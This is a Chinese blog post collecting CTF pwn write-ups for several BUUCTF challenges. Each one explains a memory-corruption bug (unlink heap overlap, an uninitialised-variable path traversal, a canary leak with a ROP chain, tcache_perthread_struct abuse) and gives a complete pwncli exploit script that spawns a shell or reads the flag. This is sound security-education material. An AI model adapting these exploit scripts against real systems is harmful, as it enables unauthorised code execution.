BUUCTF-pwn合集

简介

buuctf-pwn-wp合集

shanghai2019_slient_note

checksec

image-20220415204351777

远程为libc-2.27.so

利用思路

固定分配0x2080x28,且使用calloc,也就是不会从tcache bins里面取chunk。刚开始想用fastbin attack,发现没有合适的大小的chunk可以使用,使用改用unlink

利用过程:

  • 依次分配0x2080x28

  • 释放80x210大小的chunk,就得到一个unsortedbin chunk

  • 继续分配0x28大小,这时候会切割unsortedbin chunk,这样往large ptr指向的内存写的时候,就可以修改small ptr指向的chunk

  • 伪造chunk,触发unlink

  • leak addr然后修改got表即可

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

small = 1
large = 2

def add(t, data="deadbeef", add_lf=True):
    sla("Exit\n", "1")
    sla("add?\n", str(t))
    if add_lf:
        sla("Content:\n", data)
    else:
        sa("Content:\n", data)


def delete(t):
    sla("Exit\n", "2")
    sla("delete?\n", str(t))


def update(t, data="deadbeef", add_lf=True):
    sla("Exit\n", "3")
    sla("update?\n", str(t))
    if add_lf:
        sla("Content:\n", data)
    else:
        sa("Content:\n", data)



# prepare for unlink
add(large, flat({
    0xb0:[
        0, 0x21, 0, 0
    ] * 3
}))
add(small)

# make an unsortedbin chunk
for _ in range(8):
    delete(large)

# overlap
add(small)
add(small)

# overwrite
update(large, flat([
    0, 0x21,
    0x6020d8-0x18, 0x6020d8-0x10,
    0x20, 0x90
]))

# unlink
for i in range(8):
    delete(small)

update(large, flat([
    "/bin/sh\x00", 0, 
    elf.got.free, elf.got.setvbuf
]))

# write free@got
update(small, p64(elf.plt.puts))

# leak libc addr
delete(large)
set_current_libc_base_and_log(addr=recv_current_libc_addr(), offset=libc.sym.setvbuf)

update(small, p64(libc.sym.system))

update(large, "/bin/sh")

delete(2)

sleep(1)
sl("cat flag")

ia()

远程打:

image-20220415220240590

httc_tjctf_2016

这一题远程好像打不通,估计远程没有/home/app/web这个目录。变量未初始化的漏洞有时候确实有点难发现……对这类漏洞感觉还是不是很敏感。

漏洞点

找了半天,后来动态调试的时候才发现漏洞。变量未初始的漏洞,导致字符串拼接,可以读取flag

image-20220416000030279

也就是说,当把url填满0x32的时候,由于没有添加\x00结束符,filename还会继续往后拼接,直到0x64处为\x00。那么用gdb动调以下:

image-20220416002824866

由此,根据偏移,写出exp即可。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']

payload = "GET" + " " # method
payload += "//" + "./" * 24 + " " # url
payload += "a" * 9 + "\n" # version
payload += cyclic(50).decode() + ": "
payload += "X"*33 + "../../../flag\x00" + "\n\n"

s(payload)

ia()

image-20220416003225604

泄露出flag

image-20220416003247025

whctf2017_rc4

漏洞点

generate_key函数中,如果选择不为a或者b,就有一个变量位未初始化的漏洞:

image-20220416203159327

然而,每次的key都会打印出来:

image-20220416203325078

还有一个栈溢出:

image-20220416204436257

利用思路

  • 利用未初始化的漏洞泄露出canary
  • 栈溢出执行rop

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

# generate key
sla("> ", "a")
sla("> ", "b")

# leave canary on stack
sla("> ", "b")
sl("deadbeef")

# leak canary
sla("> ", "a")
sla("> ", "f")

m  = rl()
canary = bytes.fromhex(m[-17:-1].decode())
canary = int.from_bytes(canary, "little")
log_address("canary", canary)

read_input_addr = 0x400d37

data = flat({
    0x108: canary,
    0x118:[
        CurrentGadgets.pop_rdi_ret(),
        elf.got.puts,
        elf.plt.puts,
        CurrentGadgets.pop_rdi_ret(),
        elf.got.rand,
        CurrentGadgets.pop_rsi_r15_ret(),
        0x20, 0,
        read_input_addr,
        CurrentGadgets.pop_rdi_ret(),
        elf.got.rand+8,
        elf.plt.rand
    ]
})

sla("> ", "b")
sl(data)

sla("> ", "d")
sl("n")
set_current_libc_base_and_log(recv_current_libc_addr(), offset=libc.sym.puts)

sl(p64_ex(libc.sym.system) + b"/bin/sh;")

sleep(0.5)
sl("cat /flag")


ia()

远程打:

image-20220416214406513

inndy_fast

就是除法用python写的会有点问题,写个程序调用一下即可,其他的都可以用python解决。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']


sla("game.\n", "Yes I know")

res = []

calc = process("./calc")

for i in range(10000):
    m = rl()
    n1, op, n2, *_ = m.split()
    n1 = int_ex(n1)
    n2 = int_ex(n2)
    op = op.decode()
    if op == "+":
        tmp = n1 + n2
    elif op == "-":
        tmp = n1 - n2
    elif op == "*":
        tmp = n1 * n2
    elif op == "/":
        calc.sendlineafter("code: ", f"{n1} {op} {n2}")
        calc.recvuntil("The result: ")
        tmp = calc.recvline()
        tmp = int_ex(tmp)
        res.append(tmp)
        continue
    else:
        error("WHF!")
    tmp &= 0xffffffff
    if tmp >= 0x7fffffff:
        tmp -= (1 << 32)
    res.append(tmp)

calc.sendlineafter("code: \n", "quit")
calc.close()

for x in res:
    sl(str(x))

ia()

然后辅助的calc.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// gcc calc.c -o calc
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>

void main()
{
    char buf[0x1000] = {0};
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    int n1, n2, res;
    char op;
    while (1)
    {
        puts("please input your code: ");
        memset(buf, 0, 0x100);
        read(0, buf, 0x100);
        if (!strncmp(buf, "quit", 4)) {
            puts("bye!");
            return;
        }
        sscanf(buf, "%d %c %d\n", &n1, &op, &n2);
        switch (op)
        {
        case '+':
            res = n1 + n2;
            break;
        case '-':
            res = n1 - n2;
            break;
        case '*':
            res = n1 *n2;
            break;
        case '/':
            res = n1 / n2;
            break;
        default:
            puts("error!");
            return;
        }
        
        printf("The result: %d\n", res);
    }
    
}

远程打:

image-20220416231852136

asis_finals_2019_rop13

基本的rop的题目

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

assign = 0x400426
ppr = 0x40047e

s(b"\x00" + flat({
    71: [
        assign,
        ppr,
        1,
        elf.got.write,
        ppr,
        0x8,
        0,
        elf.plt.write,
        assign,
        ppr,
        0,
        elf.got.exit,
        ppr, 
        0x10,
        0,
        elf.plt.read,
        assign,
        elf.plt.exit,
        elf.got.exit + 8
    ]
}))

set_current_libc_base_and_log(recv_current_libc_addr(), libc.sym.write)

s(p64(libc.sym.system) + b"/bin/sh;")

ia()

远程打:

image-20220417190610252

xp0intctf_2018_fast

利用tcacthe_perthread_struct这个结构体,释放掉,然后任意地址分配,这里选择泄露处flag即可。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def add(size, data="deadbeef"):
    sla("> ", "1")
    sla("Size: ", str(size))
    sa("Name: ", data)
    m1 = rls("Name:")
    m2 = rls("Addr:")
    m2 = int16_ex(m2[6:])
    log_ex(f"Get address: {hex(m2)}")
    return m1, m2

def delete(addr: int):
    sla("> ", "2")
    sla("Addr: ", hex(addr))

sla("note:", "roderick")
_, heap_addr = add(0x10)
heap_base = heap_addr - 0x14a0
log_heap_base_addr(heap_base)

# free tcache_perthread_struct
delete(heap_base+0x10)

add(0x240, b"\x01" + b"\x00" * 0x3f + p64_ex(heap_base + 0x490))
needed, _ = add(0x10, "f")
log_ex(f"Get flag: {needed}")

ia()

远程打:

image-20220417192334361

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%